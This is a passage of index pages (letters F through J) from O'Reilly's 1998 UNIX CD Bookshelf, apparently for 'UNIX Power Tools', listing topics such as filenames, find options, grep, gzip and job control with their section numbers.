on command line : 13.13. The "Filename" -
comparing : 16.23. Comparing Filenames in Two Directory Trees
completion
9.8. Filename Completion: Faster Filename Typing
11.13. Shell Command-Line Editing
conventions : 1.15. Filenames
ending with ~ : 14.11. Finding (Anyone's) Home Directory, Quickly
extensions for
1.17. Filename Extensions
4.6. Naming Files
length of : 16.6. clf, cls: "Compressed" ls Listings
links and
18.4.1. Differences Between Hard and Symbolic Links
44.22. Finding a Program Name; Multiple Program Names
45.13. Save Disk Space and Programming: Multiple Names for a Program
null : 23.13. Deleting Files with the Null Name
picking automatically : 16.16. Picking a Unique Filename Automatically
restoring from backups by : 20.4.1. Restoring a Few Files
special characters in
8.16. Quoting Handles Special Characters in Filenames
16.14. Showing Non-Printable Characters in Filenames
23.11. Deleting Files with Odd Names
starting with . : (see dot files)
stripped from pathnames : 45.18.1. Introduction to basename and dirname
symbols in : 44.15.1. With the $@"
for temporary files : 21.3. Unique Names for Temporary Files
whitespace in : 16.13. Can't Access a File? Look for Spaces in the Name
wildcards and : 15.1. File Naming Wildcards
files
1.29. When Is a File Not a File?
45.20. Overview: Open Files and File Descriptors
access permissions : 1.23. File Access Permissions
adding to other files : 25.2. Four Ways to Skin a cat
archiving : (see archives)
automatic cleanup of : 3.4. Automatic File Cleanup
automatic updating of : 21.9. Keep File Printouts Up-to-Date Automatically with make
backing up : 20.1. tar in a Nutshell
binary, searching : 27.19. Finding Words Inside Binary Files
on enclosed CD-ROM : 52.1. Introduction
closing : 45.21. n>&m: Swap Standard Output and Standard Error
comparing
18.9. Renaming, Copying, or Comparing a Set of Files
(see comparing)
compressed : (see compressed files)
copying
18.1. What's So Complicated About Copying Files?
18.9. Renaming, Copying, or Comparing a Set of Files
to directory : 21.12. Copying Files to a Directory
to directory : 45.25. Shell Scripts On-the-Fly from Standard Input
counting by types : 16.24. Counting Files by Types
creating : 25.2. Four Ways to Skin a cat
deleting : (see deleting files)
descriptors associated with : 45.22. Handling Files Line-by-Line
displaying contents of
adding or deleting whitespace : 25.9. Adding and Deleting White Space
cat command
25.2. Four Ways to Skin a cat
25.7. Show Non-Printing Characters with cat -v or od -c
displaying beginning/end only
25.14. How to Look at the End of a File: tail
25.20. Printing the Top of a File
double-spacing : 25.12. Double Space, Triple Space ...
less utility : 25.3. Using more to Page Through Files
more utility : 25.3. Using more to Page Through Files
numbering lines : 25.21. Numbering Lines
od utility : 25.7. Show Non-Printing Characters with cat -v or od -c
editing : 9.24.1. What Files Have I Just Edited?
empty
13.14. What Can You Do with an Empty File?
21.7. Setting File Modification Time with touch
emptying : 24.1. Instead of Removing a File, Empty It
executable : (see executable files)
finding : (see searching)
finding duplicate : 16.21. Finding All Directories with the Same Name
hidden : (see dot files)
inodes
1.22. How UNIX Keeps Track of Files: Inodes
16.2. Finding Oldest or Newest Files with ls -t and ls -u
last access time : (see last access time)
links to : (see symbolic links)
listing : 16.4. List All Subdirectories with ls -R
modification times
16.2. Finding Oldest or Newest Files with ls -t and ls -u
16.5. The Three UNIX File Times
16.9. An Alias to List Recently Changed Files
16.18. Listing Files You've Created/Edited Today
16.25. Listing Files by Age and Size
16.27. newer: Print the Name of the Newest File
monitoring growth of
25.16. How to Look at a File as It Grows
25.18. Watching Several Files Grow
moving : 18.2. What's Really in a Directory
names for : (see filenames)
naming
4.6. Naming Files
18.2. What's Really in a Directory
18.3. Files with Two or More Names
18.9. Renaming, Copying, or Comparing a Set of Files
notification of change to : 21.8.1.2. Watching Other Files
overwriting accidentally : 8.4. Command Evaluation and Accidentally Overwriting Files
ownership : (see ownership, file)
paging through : 25.3. Using more to Page Through Files
permissions for
14.14. Automatic Setup When You Enter/Exit a Directory
(see permissions)
PostScript : 43.23. psselect: Print Some Pages from a PostScript file
printing : (see printing)
RCS files : 27.10. Search RCS Files with rcsgrep
read-only : 22.9. Protect Important Files: Make Them Unwritable
reading : 47.2.1.2. Reading Files
reading line-by-line : 45.22. Handling Files Line-by-Line
saving to : (see saving)
searching : (see searching)
across lines : 27.11. A Multiline Context grep Using sed
agrep script
27.8. glimpse and agrep
27.14. Compound Searches
Boyer-Moore search algorithm : 27.9. New greps Are Much Faster
case sensitivity : 27.16. Faking Case-Insensitive Searches
by column : 27.17. Finding a Character in a Column
compound searches : 27.14. Compound Searches
egrep script
27.5. Extended Searching for Text with egrep
27.7. grepping for a List of Patterns
by exclusion : 27.3. Finding Text That Doesn't Match
fgrep script : 27.6. Fast grep Isn't
glimpse command : 27.8. glimpse and agrep
grep command
1.4. Using Pipes to Create a New Tool
27.1. Different Versions of grep
27.12. Make Custom grep Commands (etc.) with perl
look program : 27.18. Fast Searches and Spelling Checks with "look"
rcsgrep script : 27.10. Search RCS Files with rcsgrep
sed with grep : 27.15. Narrowing a Search Quickly
searching
sed : 27.11. A Multiline Context grep Using sed
searching for
9.24. Get File List by Editing Output of ls -l, grep, etc.
14.10. Variables Help You Find Directories and Files
searching for lines in : 45.11. The Multipurpose jot Command
size of : (see size, file)
sparse : 24.18. Huge Files Might Not Take a Lot of Disk Space
spell checking : (see spell checking)
temporary
9.17. Handling Lots of Text with Temporary Files
14.11. Finding (Anyone's) Home Directory, Quickly
text : (see text files)
too many for command line : 9.20. Too Many Files for the Command Line
uncompressing : 44.12. Trapping Exits Caused by Interrupts
unlinking when open : 24.3. Unlinking Open Files Isn't a Good Idea
writing : 47.2.1.1. Writing Files
filesystems
find command and : 17.25. Keeping find From Searching Networked Filesystems
hierarchical : 18.1. What's So Complicated About Copying Files?
ID numbers : 17.22. Finding the Links to a File
moving files between : 18.2. What's Really in a Directory
structure of : 1.19. The Tree Structure of the Filesystem
fileutils : 52.4. Quick Descriptions of What's on the Disc
filters
1.3. Programs Are Designed to Work Together
1.30. Redirecting Input and Output
45.20. Overview: Open Files and File Descriptors
ex editor : 30.22. Filtering Text Through a UNIX Command
fmt utility for : 30.37. Neatening Lines
in index program : 48.12. Using index with a Filter
vi editor : 30.22.2. Filtering Text with vi
find command
3.4. Automatic File Cleanup
17.1. The find Command Is Great; The Problem Is Finding How to Use It
52.4. Quick Descriptions of What's on the Disc
\( \) operator : 17.1. The find Command Is Great; The Problem Is Finding How to Use It
! operator
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.6. Be an Expert on find Search Operators
{ } operator : 17.17. Duplicating a Directory Tree (No Pathnames with find {} Operator)
-a option : 17.1. The find Command Is Great; The Problem Is Finding How to Use It
-atime option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.5. Searching for Old Files
17.7. The Times that find Finds
21.5. What Good Is a File's Last Access Time?
-ctime option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.5. Searching for Old Files
17.7. The Times that find Finds
to delete files : 23.22. Using find to Clear Out Unneeded Files
directory trees and : 17.2. Delving Through a Deep Directory Tree
examples : 45.31. Nested Command Substitution
-exec option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.10. Running Commands on What You Find
17.17. Duplicating a Directory Tree (No Pathnames with find {} Operator)
22.7. Using chmod to Change File Permission
22.8. The Handy chmod = Operator
fast find : 17.18. Using "Fast find"
-fstype option : 17.25. Keeping find From Searching Networked Filesystems
-group option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.16. Searching by Owner and Group
-inum option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.10. Running Commands on What You Find
23.16. Removing a Strange File by its I-number
-links option : 17.5. Searching for Old Files
loops using : 45.18.2. Use with Loops
-maxdepth option : 17.23. Finding Files with -prune
-mtime option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.5. Searching for Old Files
17.7. The Times that find Finds
with multiple options
17.6. Be an Expert on find Search Operators
17.12. Finding Many Things with One Command
-name option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.4. Looking for Files with Particular Names
17.12. Finding Many Things with One Command
networked filesystems and : 17.25. Keeping find From Searching Networked Filesystems
-newer option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.8. Exact File Time Comparisons
20.7. Creating a Timestamp File for Selective Backups
-nogroup option : 17.16. Searching by Owner and Group
-nouser option : 17.16. Searching by Owner and Group
-o option : 17.1. The find Command Is Great; The Problem Is Finding How to Use It
-ok option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.10. Running Commands on What You Find
23.4. Answer "Yes" or "No" Forever with yes
-perm option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.15. Searching for Files by Permission
-print operator : 17.3. Don't Forget -print
-print option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.12. Finding Many Things with One Command
-print0 option : 9.22. xargs: Problems with Spaces and Newlines
-prune option
17.23. Finding Files with -prune
17.24. Skipping Some Parts of a Tree in find (A More Selective -prune)
-size option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.14. Searching for Files by Size
syntax of : 17.6. Be an Expert on find Search Operators
-type option
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.13. Searching for Files by Type
-user option : 17.16. Searching by Owner and Group
wildcards and
17.4. Looking for Files with Particular Names
17.18. Using "Fast find"
xargs command and : 17.2. Delving Through a Deep Directory Tree
-xdev option : 17.25. Keeping find From Searching Networked Filesystems
findcmd script
16.10. findcmd: Find a Command in Your Search Path
52.4. Quick Descriptions of What's on the Disc
finding : (see searching)
findtext script
16.26. Finding Text Files with findtext
52.4. Quick Descriptions of What's on the Disc
fix command : (see fc command)
fixdlsrps program : 43.23. psselect: Print Some Pages from a PostScript file
fixfmps program : 43.23. psselect: Print Some Pages from a PostScript file
fixmacps program : 43.23. psselect: Print Some Pages from a PostScript file
fixpsditps program : 43.23. psselect: Print Some Pages from a PostScript file
fixpspps program : 43.23. psselect: Print Some Pages from a PostScript file
fixscribeps program : 43.23. psselect: Print Some Pages from a PostScript file
fixtpps program : 43.23. psselect: Print Some Pages from a PostScript file
fixwfwps program : 43.23. psselect: Print Some Pages from a PostScript file
fixwpps program : 43.23. psselect: Print Some Pages from a PostScript file
fixwwps program : 43.23. psselect: Print Some Pages from a PostScript file
flip script
25.19. Reverse Lines in Long Files with flip
52.4. Quick Descriptions of What's on the Disc
flow control : 41.2.4. Flow Control (We Hope)
in C shell : 47.2.2.2. Flow Control
Emacs and : 32.12. Getting Around Emacs Flow Control Problems
fmt : 52.4. Quick Descriptions of What's on the Disc
fmt command
9.20. Too Many Files for the Command Line
35.2. Neatening Text with fmt
filtering text from vi : 30.37. Neatening Lines
re-format comment lines : 35.4. recomment: Clean Up Program Comment Blocks
fmt.sh script
35.3. Alternatives to fmt
52.4. Quick Descriptions of What's on the Disc
fold command : 43.8. Fixing Margins with pr and fold
footers, editing : 52.8.2.4. Unsharring the Sources
for loop
1.5. Anyone Can Program the Shell
9.12. The Bourne Shell for Loop
33.11.7. Alphabetical Summary of Commands
44.16. Handling Command-Line Arguments with a for Loop
advantages : 44.17. Handling Arguments with while and shift
in command-line arguments : 44.15.2. With a Loop
command substitution : 44.16. Handling Command-Line Arguments with a for Loop
command-line arguments : 44.16. Handling Command-Line Arguments with a for Loop
disadvantages : 44.17. Handling Arguments with while and shift
egrep expressions built : 48.2. Online Phone and Address Lists
examples
44.16. Handling Command-Line Arguments with a for Loop
48.2. Online Phone and Address Lists
jot used in : 45.11. The Multipurpose jot Command
multiple variables : 45.17. Making a for Loop with Multiple Variables
storing line of text with multiple words : 45.34. Arrays in the Bourne Shell
uses for : 45.16. Standard Input to a for Loop
while loops compared to : 45.16. Standard Input to a for Loop
wildcards : 44.16. Handling Command-Line Arguments with a for Loop
for loops
examples : 50.3. apropos on Systems Without apropos
foreach loop : 9.11. Repeating a Command with a foreach Loop
examples : 47.5. Using C Shell Arrays
in C shells : 47.5. Using C Shell Arrays
foreground jobs : 12.1.1. Foreground and Background
killing : 38.9. Killing Foreground Jobs
nice command and : 39.10. A nice Gotcha
fork system call
1.11. How the Shell Executes Other Commands
38.2. fork and exec
form letters : 9.14. Using Here Documents for Form Letters, etc.
format of diff output : 28.8. More Friendly diff Output
formfile : 45.22. Handling Files Line-by-Line
formprog script
45.22. Handling Files Line-by-Line
52.4. Quick Descriptions of What's on the Disc
examples : 45.22. Handling Files Line-by-Line
forms
script for filing : 45.22. Handling Files Line-by-Line
Fortran program source file extension : 1.17. Filename Extensions
fortune program : 3.3. Electronic Fortune Cookies
free software : 52.2. Where Does Free Software End and UNIX Begin?
Free Software Foundation (FSF)
1.8. There Are Many Shells
8.2. Introduction to bash
fsck program : 1.14. The Kernel and Daemons
ftp program
1.33. UNIX Networking and Communications
2.16. Approved Shells: Using Unapproved Login Shell
9.19. For the Impatient: Type-Ahead
FTP software archives : 52.7.2. Online Archive
ftpd daemon, login shell and : 2.16. Approved Shells: Using Unapproved Login Shell
ftpfile script : 52.4. Quick Descriptions of What's on the Disc
FTPMAIL mail server : 52.7.2.2. FTPMAIL
full duplex : 41.2.1. How We Made It This Far (Back?)
function keys, mapping in vi : 31.2.1. Command Mode Maps
functions
. (dot) command compared to : 44.23. Reading Files with the . and source Commands
C programs : 52.8.2.7. Functions, Libraries, and Header Files
shell : (see shell functions)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: G

g command : 11.7. History Substitutions
gawk utility
33.11. Quick Reference: awk
50.12. Common UNIX Error Messages
52.4. Quick Descriptions of What's on the Disc
52.5.3.4. Installing a Single Program
(see also awk utility; nawk utility)
version history : 33.12. Versions of awk
gcc C compiler : 52.8.1.1. Missing Programs
get command (SCCS) : 20.13. SCCS Basics
getmac script : 52.4. Quick Descriptions of What's on the Disc
getopt command
44.16. Handling Command-Line Arguments with a for Loop
44.18. Standard Command-Line Parsing
52.4. Quick Descriptions of What's on the Disc
examples : 44.18. Standard Command-Line Parsing
parsing output : 44.18. Standard Command-Line Parsing
getopts command : 44.16. Handling Command-Line Arguments with a for Loop
advantages : 44.17. Handling Arguments with while and shift
getty program : 38.2. fork and exec
glass ttys : 41.2.1. How We Made It This Far (Back?)
glimpse script
27.8. glimpse and agrep
52.4. Quick Descriptions of What's on the Disc
global command (ex) : 33.4. Useful ex Commands
gnroff program
43.17. Don't Have nroff? Try gnroff or awf
52.4. Quick Descriptions of What's on the Disc
GNU awk : (see awk utility)
GNU Emacs : (see Emacs editor)
GNU fileutils : 52.4. Quick Descriptions of What's on the Disc
GNU make utility : 52.8.1.1. Missing Programs
"go" character : 41.2.4. Flow Control (We Hope)
grabchars : 52.4. Quick Descriptions of What's on the Disc
-b option : 45.32. A Better read Command: grabchars
-d option : 45.32. A Better read Command: grabchars
-t option : 45.32. A Better read Command: grabchars
grabchars program
44.13. read: Reading from the Keyboard
45.32. A Better read Command: grabchars
examples : 45.32. A Better read Command: grabchars
graphics
conversion programs : 43.25. The Portable Bitmap Package
pbm (portable bitmap) : 43.25. The Portable Bitmap Package
pbm (portable bitmap) format : 43.25. The Portable Bitmap Package
pgm (graymap) format : 43.25. The Portable Bitmap Package
pnm format : 43.25. The Portable Bitmap Package
ppm (pixmap) format : 43.25. The Portable Bitmap Package
Graphics script : 52.4. Quick Descriptions of What's on the Disc
> (greater than sign)
with for loop : 9.12. The Bourne Shell for Loop
greater than sign (<)
with for loop : 9.12. The Bourne Shell for Loop
grep
redirecting output : 45.20. Overview: Open Files and File Descriptors
grep command
9.16. Command Substitution
27.1. Different Versions of grep
27.2. Searching for Text with grep
27.8. glimpse and agrep
27.9. New greps Are Much Faster
52.4. Quick Descriptions of What's on the Disc
(see also agrep script; egrep script; fgrep script; hgrep script)
addup script using : 49.7. Total a Column with addup
-c option
15.8. Getting a List of Non-Matching Files with grep -c
49.7. Total a Column with addup
compound searches : 27.14. Compound Searches
customizing prompt character : 1.9. Which Shell Am I Running?
customizing with perl : 27.12. Make Custom grep Commands (etc.) with perl
directory trees and : 17.20. grepping a Directory Tree (and a Gotcha)
example of : 1.4. Using Pipes to Create a New Tool
examples : 49.7. Total a Column with addup
-f option : 44.17. Handling Arguments with while and shift
file searches with
9.24. Get File List by Editing Output of ls -l, grep, etc.
9.24.2. Search for Text with grep
-i option : 17.21. lookfor: Which File Has that Word?
-l option
9.16. Command Substitution
15.7. Getting a List of Matching Files with grep -l
multiline : 27.11. A Multiline Context grep Using sed
sed with
27.11. A Multiline Context grep Using sed
27.15. Narrowing a Search Quickly
with type-ahead feature : 9.19. For the Impatient: Type-Ahead
-v option
27.3. Finding Text That Doesn't Match
45.5. A File That Shows Itself... and What #! Does
51.4. Who's On?
-w option : 27.4. Finding a Pattern Only When It's a Word
groff : 52.4. Quick Descriptions of What's on the Disc
groff program : 43.16. groff
group ID (GID) : 38.3. Managing Processes: Overall Concepts
grouping commands (sh) : 13.8. Using {list} to Group Bourne Shell Commands
groups
17.16. Searching by Owner and Group
22.2.2. Which Group is Which?
22.13. Groups and Group Ownership
(see also users)
(see SGID bit)
changing/specifying : 22.5. Group Permissions in a Directory with the setgid Bit
defined : 22.2.1. User, Group, and World
denying permission by : 22.14. Add Users to a Group to Deny Permission
newgrp command : 22.13. Groups and Group Ownership
searching by : 17.16. Searching by Owner and Group
groups command
22.13. Groups and Group Ownership
22.15. Juggling Permissions
groups program : 52.4. Quick Descriptions of What's on the Disc
gsub command (awk) : 33.11.7. Alphabetical Summary of Commands
gunzip utility
19.5. Using tar to Create and Unpack Archives
19.7. Extracting Files from a Compressed Archive
24.7. Compressing Files to Save Space
52.4. Quick Descriptions of What's on the Disc
gxcat command : 24.7. Compressing Files to Save Space
.gz filename extension : 1.17. Filename Extensions
gzcat script
19.7. Extracting Files from a Compressed Archive
52.4. Quick Descriptions of What's on the Disc
in Bourne shell scripts : 44.15.1. With the $@"
examples : 44.15.1. With the $@"
gzip utility
19.5. Using tar to Create and Unpack Archives
24.6. Save Space with Tab Characters
24.7. Compressing Files to Save Space
52.4. Quick Descriptions of What's on the Disc
gzipped file extension : 1.17. Filename Extensions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

.h filename extension : 1.17. Filename Extensions
Hacker's Dictionary, The : 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
hackerese, interpreting : 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
hacking : 1.7. Power Grows on You
half duplex system : 41.2.1. How We Made It This Far (Back?)
half-baked mode : (see cbreak mode)
HANGUP signal
automatically killing background processes : 38.17. Automatically Kill Background Processes on Logout in csh
hangup signal : (see HUP signal)
hard disk quota limits : 24.17. Disk Quotas
hard links
14.14. Automatic Setup When You Enter/Exit a Directory
18.4. More About Links
(see also symbolic links)
copying : 18.15. Copying Directory Trees with cp -r
finding : 17.22. Finding the Links to a File
hardpaths shell variable
6.9. Special C Shell Variables
14.13. Which Directory Am I in, Really?
hardware flow control : (see RTS/CTS flow control)
hardware platforms : 52.5.3. Installing Pre-Compiled Binaries
hash mark : (see #)
head command, piping ps output to : 38.5. The ps Command
head script
25.20. Printing the Top of a File
52.4. Quick Descriptions of What's on the Disc
header files in /usr/include : 52.8.2.7. Functions, Libraries, and Header Files
headers, editing : 52.8.2.4. Unsharring the Sources
help : 50.1. UNIX Online Documentation
man pages : (see manual pages)
help command (lpc) : 43.3. Printer Control with lpc
here documents
8.18. Here Documents
9.14. Using Here Documents for Form Letters, etc.
19.2. Introduction to Shell Archives
hereis document terminators : 45.26. Quoted hereis Document Terminators: sh vs. csh
hexadecimal values : 51.3. ASCII Characters: Listing and Getting Values
hey script
16.15. Script with a :-) for UNIX Converts: dir, ..., ...
52.4. Quick Descriptions of What's on the Disc
hgrep : 52.4. Quick Descriptions of What's on the Disc
hgrep script : 27.20. A Highlighting grep
hidden files : (see dot files)
hierarchical filesystems
1.19. The Tree Structure of the Filesystem
18.1. What's So Complicated About Copying Files?
High Sierra format : 52.5.1. CD-ROM Formats
highlighting
in shell prompts : 7.8. Highlighting in Shell Prompts
highlighting text : 27.20. A Highlighting grep
histchars shell variable
6.9. Special C Shell Variables
11.15. Changing C Shell History Characters with histchars
HISTFILESIZE environment variable : 11.11. Picking Up Where You Left Off
history command : 11.1. The Lessons of History
.history file : 11.11. Picking Up Where You Left Off
history of command
11.1. The Lessons of History
11.14. More Ways to Do Interactive History Editing
editing substitutions : 9.6. String Editing (Colon) Operators
history substitutions : 11.1. The Lessons of History
passing to other shells : 11.12. Pass History to Another Shell
history shell variable
6.8. Shell Variables
6.9. Special C Shell Variables
11.1. The Lessons of History
history substitutions
8.5. Command-Line Evaluation
10.3. C Shell Aliases with Command-Line Arguments
HISTSIZE environment variable
11.1. The Lessons of History
11.11. Picking Up Where You Left Off
HOLD SCREEN button : 42.2.1. Output Stopped?
home directory
1.20. Your Home Directory
6.3. Predefined Environment Variables
finding : 14.11. Finding (Anyone's) Home Directory, Quickly
organizing : 4.1. What? Me, Organized?
HOME environment variable
6.3. Predefined Environment Variables
14.11. Finding (Anyone's) Home Directory, Quickly
in C shell : 47.2.5. Variable Syntax
hosts
.cshrc.$HOST file for : 2.13. A .cshrc.$HOST File for Per Host Setup
hrs field in crontab entries : 40.12.1. Execution Scheduling
hsfs (High Sierra Filesystem) : 52.5.2. Mounting the CD-ROM
HTML file extension : 1.17. Filename Extensions
.html filename extension : 1.17. Filename Extensions
hung terminals, fixing : 5.6. Checklist: Terminal Hangs When I Log In
HUP (hangup) signal : 38.8. What Are Signals?
hyphen : (see - (hyphen))

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

i-number : 1.22. How UNIX Keeps Track of Files: Inodes
deleting files by : 23.16. Removing a Strange File by its I-number
I/O : (see input; output)
I/O (text input/output) operations : 39.5. Why Is the System So Slow?
I/O loops : 45.23. The Ins and Outs of Redirected I/O Loops
environment variables changed in : 45.23. The Ins and Outs of Redirected I/O Loops
errors handled by : 45.23. The Ins and Outs of Redirected I/O Loops
examples : 45.23. The Ins and Outs of Redirected I/O Loops
exit command used in : 45.23. The Ins and Outs of Redirected I/O Loops
exit status of : 45.23. The Ins and Outs of Redirected I/O Loops
input handled by : 45.23. The Ins and Outs of Redirected I/O Loops
redirected
45.22. Handling Files Line-by-Line
45.23. The Ins and Outs of Redirected I/O Loops
I/O streams : 13.1. Using Standard Input and Output
I/O subsystem, resources and : 39.12.3. The I/O Subsystem
I/O time : 39.5. Why Is the System So Slow?
ibase command : 49.2. bc: Hexadecimal or Binary Conversion
icanon option : 41.2.1. How We Made It This Far (Back?)
id command : 52.4. Quick Descriptions of What's on the Disc
if ($?prompt) test
2.5.1. Quick Login
2.9. Speeding Up Your C Shell with set prompt Test
if command (awk) : 33.11.7. Alphabetical Summary of Commands
if loops
examples : 44.20. test: Testing Files and Strings
if statement
44.8. Test Exit Status with the if Statement
45.9. The Unappreciated Bourne Shell ":" Operator
: used with : 45.9. The Unappreciated Bourne Shell ":" Operator
in C shell
47.2.2.3. Stupid Parsing Bugs
47.2.6. Expression Evaluation
47.4.2. Expressions
errors caused by
46.1.4. Missing or Extra esac, ;;, fi, etc.
47.2.2.3. Stupid Parsing Bugs
47.2.6. Expression Evaluation
examples : 47.3. Conditional Statements with if
in C shell : 47.3. Conditional Statements with if
nested : 47.2.6. Expression Evaluation
switch compared to : 47.6. Quick Reference: C Shell switch Statement
if-then-else loops in csh aliases : 10.7. How to Put if-then-else in a C Shell Alias
IFS environment variable
4.10. Find All Command Versions with whereiz
35.21. Using IFS to Split Strings
ignoreeof shell variable
3.5. Stop Accidental C Shell Logouts
6.9. Special C Shell Variables
includeres program : 43.24. Other PostScript Utilities
indenting text : 35.7. offset: Indent Text
index
building for manual pages : 50.3. apropos on Systems Without apropos
permuted in UNIX Reference Manual : 50.9. Reading a Permuted Index
index command (awk) : 33.11.7. Alphabetical Summary of Commands
index program
48.11. The index Database Program
52.4. Quick Descriptions of What's on the Disc
-f option : 48.12. Using index with a Filter
indexing
with troff : 1.4. Using Pipes to Create a New Tool
init program : 38.2. fork and exec
inodes : 1.22. How UNIX Keeps Track of Files: Inodes
change time : 21.6. A File's Inode Change (not "Creation"!) Time
ls -c command for : 16.2. Finding Oldest or Newest Files with ls -t and ls -u
modifying : 16.5. The Three UNIX File Times
stat program for : 21.13. Read an Inode with stat
inpchk option : 41.2.1. How We Made It This Far (Back?)
input
redirecting
1.30. Redirecting Input and Output
(see redirecting input/output)
stdin : (see standard input)
input buffer
flushing : 41.7. Reading Verrrry Long Lines from the Terminal
input characters
echoing as two-character sequences : 41.2.3. What About TABs?
handling : 41.2.2. Handling Most Characters
insert command (ex) : 33.4. Useful ex Commands
insert mode, Emacs : 32.5. Putting Emacs in Overwrite Mode
install program : 52.4. Quick Descriptions of What's on the Disc
installation process
CD-ROM : 52.5.3.2. Starting the Installation
default values : 52.5.3.5. Installing Everything Using the Defaults
pcal program : 52.8.2.1. Copying the Sources
for single program : 52.5.3.4. Installing a Single Program
unmounting CD-ROM : 52.5.4. Unmounting the CD-ROM
INSTALLDIR, CD-ROM : 52.8.1. Running the Build Scripts
INSTALLSHAREDIR, CD-ROM : 52.8.1. Running the Build Scripts
INT (interrupt) signal
38.8. What Are Signals?
38.9. Killing Foreground Jobs
int command (awk) : 33.11.7. Alphabetical Summary of Commands
interactive
commands : 1.2. Who Listens to What You Type?
file deletion : 23.6. A Faster Way to Remove Files Interactively
programs, nice command and : 39.10. A nice Gotcha
renaming files : 18.12. Renaming a List of Files Interactively
spell checking : 29.2. Check Spelling Interactively with ispell
internal commands : 1.10. Internal and External Commands
Internet : 1.33. UNIX Networking and Communications
interpreter programs : (see shells)
interrupt characters : 41.2.1. How We Made It This Far (Back?)
interrupt key : 9.19. For the Impatient: Type-Ahead
interrupt signal : (see INT signal)
interrupting jobs : 12.7. Stop Background Output with stty tostop
intr jey : 5.9. Setting Your Erase, Kill, and Interrupt Characters
"intruder alert" error message : 50.12. Common UNIX Error Messages
inverse video problems : 42.4. Checklist for Resetting a Messed Up Terminal
iostat command : 39.12.3. The I/O Subsystem
ipl program
49.9. Business Graphics with ipl
52.4. Quick Descriptions of What's on the Disc
isig option : 41.2.1. How We Made It This Far (Back?)
ISO 9660 : 52.5.1. CD-ROM Formats
ispell : 52.4. Quick Descriptions of What's on the Disc
ispell program
29.2. Check Spelling Interactively with ispell
29.5. Adding Words to ispell's Dictionary
iterating shell variables over arguments : 46.7. Quoting and Command-Line Parameters

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

Jargon File : 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
job numbers
deleting : 40.9. Checking and Removing Jobs
jobs : 38.3. Managing Processes: Overall Concepts
checking : 40.9. Checking and Removing Jobs
jobs <file : 38.17. Automatically Kill Background Processes on Logout in csh
jobs and job control
advantages : 12.1. Job Control: Work Faster, Stop Runaway Jobs
autowrite and : 12.4. Job Control and autowrite: Real Time Savers!
background processing : 1.26. What a Multiuser System Can Do for You
changed job state notification : 12.6. Notification When Jobs Change State
changing the priority of : 39.11. Changing a Job's Priority Under BSD UNIX
deciding when to run : 40.5. Avoiding Other at and cron Jobs
fixing hung : 42.2. Fixing a Hung Terminal or Job
interrupting jobs : 12.7. Stop Background Output with stty tostop
killing foreground : 38.9. Killing Foreground Jobs
removing : 40.9. Checking and Removing Jobs
repeating the next weedkay : 40.10. nextday, nextweekday: Tomorrow or Next Weekday
running at night : 40.1. Off-Peak Job Submission
stopping : 12.5. System Overloaded? Try Stopping Some Jobs
jobs command
12.1.1. Foreground and Background
42.2.2. Job Stopped?
jobs | command : 38.17. Automatically Kill Background Processes on Logout in csh
join command : 35.19. Joining Lines with join
jot
examples : 45.11. The Multipurpose jot Command
jot command
45.11. The Multipurpose jot Command
52.4. Quick Descriptions of What's on the Disc
ASCII to decimal conversion : 51.3. ASCII Characters: Listing and Getting Values
disadvantages : 51.3. ASCII Characters: Listing and Getting Values
getting control characters using : 45.35.2. With tr and echo
Joy, Bill : 5.2. The Idea of a Terminal Database

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

